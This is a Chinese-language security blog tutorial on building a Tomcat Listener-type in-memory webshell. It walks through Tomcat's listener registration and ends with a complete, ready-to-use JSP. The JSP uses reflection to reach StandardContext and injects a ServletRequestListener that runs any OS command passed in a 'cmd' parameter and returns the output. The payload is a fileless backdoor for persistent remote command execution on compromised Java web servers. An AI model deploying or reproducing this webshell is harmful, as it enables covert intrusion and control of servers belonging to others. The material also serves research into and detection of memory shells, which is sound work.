[toc]
# 0x01 Listener 基础知识
Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。
# 用途
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
# Listener 三个域对象
我们知道监听器的过程:Listener -> Filter -> Servlet
Listener 是最先被加载的,所以可以利用动态注册恶意的 Listener 内存马。而 Listener 分为以下几种:
- ServletContextListener:服务器启动和终止时触发
- HttpSessionListener:有关 Session 操作时触发
- ServletRequestListener:访问服务时触发
很明显,ServletRequestListener 是最适合用来作为内存马的。因为 ServletRequestListener 是用来监听 ServletRequest 对 象的,当我们访问任意资源时,都会触发 ServletRequestListener#requestInitialized()
方法。下面我们来实现一个恶意的 Listener
# 0x02 分析
内存马的实现其实就是动态注册一个 Filter/Servlet/Listener 然后在其中编写恶意方法,那么就能起到文件不落地并执行命令的目的
所以在编写 Listener 内存马 Payload 的时候我们首先需要捋清楚 Tomcat 中 Listener 的注册流程
最直观的方式就是编写一个 Listener 然后通过断点去分析注册流程
# 0x03 Listener 基础代码实现
和 Filter 型内存马一样的, Filter 内存马需要定义一个实现 Filter 接口的类,如果在 Tomcat 要引入 Listener,需要实现两种接口,分别是 LifecycleListener 和原生 EvenListener。
实现了 LifecycleListener 接口的监听器一般作用于 tomcat 初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。另一个 EventListener 接口,在 Tomcat 中,自定义了很多继承于 EventListener 的接口,应用于各个对象的监听。
requestInitialized
**:** 在 request 对象创建时触发
requestDestroyed
**:** 在 request 对象销毁时触发
这里进行测试
Listener 的业务必须实现 EventListener 接口

它的实现类非常多,关键是要找到一个每次请求都会触发的 Listener
通过 Tomcat 的学习我们知道 Sevlet 是规范接口,所以我们是这去找 Servlet 开头的 Listener
这里尝试 ServletRequestListener
因为根据名字以及其中的 requestInitialized 方法感觉我们的发送的每个请求都会触发这个监控器

写一个监听器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package Listener; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; import java.util.EventListener; @WebListener("/listenerTest") public class ListenerTest implements ServletRequestListener { public ListenerTest(){ } @Override public void requestDestroyed(ServletRequestEvent sre) { } @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("Listener 被调用"); } }
|
在 web.xml 添加
1 2 3
| <listener> <listener-class>com.example.tomcat_listener.ListenerTest</listener-class> </listener>
|
说明 listener 已经注册到程序中了

# 0x04 Listener 流程分析
经过上面的 Listener 流程,首先要确认内存马的位置,也就是对象创建初始化的地方,其次是 Listener 是如何动态注册的
打上断点

在 standardhostvalve 这里获取到 request 中的 StandardContext 对象
获取对象后调用 fireRequestInitEvent 方法

跟进
可以看到是通过遍历 instances 数组,而 instances 数组就是通过 getApplicationEventListeners 方法来进行获取的值
最终到达 listenner 的初始化方法,初始化我们的恶意 listener

在这之中又调用了 getApplicationEventListeners 方法
这里就是将获取的对象以数组形式返回,为了后面的遍历然后初始化

添加 listener 的地方

那么我们只需要获取 StandardContext, 然后调用 addApplicationEventListener 并传入自定义的 Listener 实例即可成功注入内存马
大概来梳理一下流程
首先就是获取到 StandardContext,然后通过 addApplicationEventListener 加载 listener
最后初始化 requestInitialized
# 获取 Request 和 Response 对象
首先明确 StandardContext 对象的获取
在 StandardHostValve 中的 invoke 方法获取 StandardContext

然后到 Servlet 请求事件

可以看到 request 是 RequestFacade 的实例
查看 RequestFacade 的定义,这里有我们需要的 request 属性

那我们通过反射获取私有字段即可完成对 Request 对象的构造
# 构造 EXP
首先是反射构造 Request 对象
1 2 3 4 5 6
| cmd = sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) sre.getServletRequest(); Field requestFacadefield = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestFacadefield.setAccessible(true); Request request = (Request) requestFacadefield.get(requestFacade); Response response = request.getResponse();
|
然后是恶意类
1 2 3 4 5 6 7 8 9 10 11 12
| if (cmd !=null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = -1; byte[] bytes = new byte[2048]; while ((i=inputStream.read(bytes)) !=-1){ response.getWriter().write(new String(bytes,0,i)); response.getWriter().write("\r\n"); } } }catch (Exception e){ e.printStackTrace(); }
|

下面就是把 listener 动态注册进去
调用 getApplicationEventListeners 获取 applicationEventListenersList
把我们构造的 Listener 添加进去
1 2 3 4 5
| Object[] objects = standardContext.getApplicationEventListeners(); List<Object> listeners = Arrays.asList(objects); List<Object> arrayList = new ArrayList(listeners); arrayList.add(new ListenerMemShell()); standardContext.setApplicationEventListeners(arrayList.toArray());
|
然后是上下文环境,方法都在 StandardContext 中。
1 2 3 4 5 6 7 8
| ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
|
至此 Listener 内存马大致就构造好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.List" %> <%@ page import="java.util.Arrays" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.ArrayList" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%!
class ListenerMemShell implements ServletRequestListener {
@Override public void requestInitialized(ServletRequestEvent sre) { String cmd; try { cmd = sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest(); Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse();
if (cmd != null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i=inputStream.read(bytes)) != -1){ response.getWriter().write(new String(bytes,0,i)); response.getWriter().write("\r\n"); } } }catch (Exception e){ e.printStackTrace(); } }
@Override public void requestDestroyed(ServletRequestEvent sre) { } } %>
<% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Object[] objects = standardContext.getApplicationEventListeners(); List<Object> listeners = Arrays.asList(objects); List<Object> arrayList = new ArrayList(listeners); arrayList.add(new ListenerMemShell()); standardContext.setApplicationEventListeners(arrayList.toArray());
%>
|
